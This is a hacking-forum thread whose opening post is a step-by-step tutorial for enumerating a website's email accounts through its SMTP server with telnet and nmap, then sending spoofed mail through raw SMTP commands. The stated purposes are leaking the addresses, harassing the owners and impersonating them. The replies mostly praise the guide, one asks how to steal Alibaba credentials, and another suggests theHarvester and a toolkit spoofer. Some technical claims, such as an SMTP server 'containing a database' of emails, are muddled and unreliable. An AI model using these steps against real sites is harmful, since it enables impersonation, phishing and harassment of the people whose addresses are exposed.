

Forum:[Hack Forums](#)

Thread: [Retrieve \(and spoof\) email addresses from a website in 3 easy steps](#)

NuclearPenguin - March 30, 2017, 8:29 pm

In this tutorial, you will need:

Either Kali Linux or an operating system with Nmap installed

Intro:

Many websites have their own email addresses that they use to send and receive emails. How do they do this? They have an SMTP (Simple Mail Transport Protocol) server installed on their system, usually on port 25. This server contains a database of all the website's emails, and websites often leave it unsecured. So how would you leak their emails, send them funny messages, or even spoof their emails? Well read this tutorial and find out!

Step 1:

Open up your command line.

Step 2:

We will test to see whether or not the website left their SMTP server open.

Enter the following command: Code telnet [website address] 25,465,587

If you receive a message like "Connected to [IP Address]" then congratulations! Their server is open. If not, then try ports 465 and 587.

Step 3:

Exit from telnet. We will now use nmap to extract email addresses from the SMTP server.

Enter the following command: Code nmap --script smtp-enum-users.nse -p 25 [website address]
Nmap should tell you all the user accounts on the server.

Good, excellent! Now you have their email addresses. You can leak them to the public or send them random shit. If that's all you wanted to do then you can stop reading this tutorial. But what if you want to spoof their emails?

How to Spoof:

Step 1:

Open up your command line

Step 2:

Enter the command Code telnet [website address] 25

Step 3:

You are required to say hello to the server. Type the command: Code HELO [type anything here] and wait for the server to respond back. If you receive no response, try Code EHLO instead.

Step 4:

Type in the email address you want to spoof.

Code MAIL FROM: [fake username]@[website address] and press enter

Step 5:

Type the email you would like to send a message to

Code RCPT TO: [username]@[website address] and press enter

Step 6:

Type Code DATA and press enter. Then type Code SUBJECT: [any subject here] and press enter twice.

Step 7:

Begin typing your message. When you are done just type a single "." on a new line and press enter. Your message will be sent.

Congrats. Now you spoofed their email.

El Chapo Guzman - March 30, 2017, 10:11 pm

Very cool tutorial! Bookmarked this for use at a later time. Good job man.

rahulguptayz - March 31, 2017, 1:50 am

Seems Promising. But can you elaborate what the nmap script actually does behind the curtain . means how the script finds the email ?

Meterpreter - March 31, 2017, 5:42 am

Thought Telnet mainly functioned on port 23 not port 25?

Scratch that just noticed youu're targeting SMTP on port 25. Never mind

NuclearPenguin - March 31, 2017, 5:25 pm

(Mar 31, 2017 01:50 AM)rahulguptayz Wrote: [\[CITE\]](#) Seems Promising. But can you elaborate what the nmap script actually does behind the curtain . means how the script finds the email ?

It automates the tedious process of sending VRFY, EXPN, and RCPT TO commands to discover email accounts on the system.

uxiao01 - April 9, 2017, 6:13 pm

Added to my collection. Thanks

Hecate - April 15, 2017, 1:58 pm

posting to come back later.

murphy200068 - May 25, 2017, 2:18 am

please i want to how to get emails and passwords from Allibaba.com

HarlanTristen - June 28, 2017, 12:15 am

This will make a great addition :)))) thank you

wolfman010 - June 28, 2017, 6:27 pm

Great short and effective tutorial

h40xer - July 2, 2017, 2:29 am

Very Nice tutorial mate this will come in handy later on. Thanks bro

Tyler Durden. - *July 2, 2017, 2:41 am*

What a nice tutorial, thank you.

AnonymousRex - *July 2, 2017, 9:52 am*

Why don't we just use theharvester to get emails then spoof them with an email spoofer like the one in setoolkit?

Isn't that easier?

andrius94 - *July 2, 2017, 10:12 am*

awesome tut.

(Jul 2, 2017 09:52 AM)AnonymousRex Wrote: [\[CITE\]](#) Why don't we just use theharvester to get emails then spoof them with an email spoofer like the on in setoolkit?

Isn't that easier?didn't know theharvester can do this :O

AnonymousRex - *July 2, 2017, 12:03 pm*

(Jul 2, 2017 10:12 AM)andrius94 Wrote: [\[CITE\]](#) awesome tut.

didn't know theharvester can do this :O

thearvester is a tool designed to get emails from a website using search engines..

equi_gonzales13 - *August 23, 2019, 4:48 pm*

thank you - i will try that

gangshiit - *April 28, 2020, 12:49 am*

thanks for this! looks good.

Irambonga - *April 28, 2020, 2:22 am*

epic tutorial thanks brotha posting for later ;)

2xTheTap115 - *April 30, 2020, 4:26 am*

Very cool guide?

Worth reading and it will definitely be useful to everyone.

Good job mate?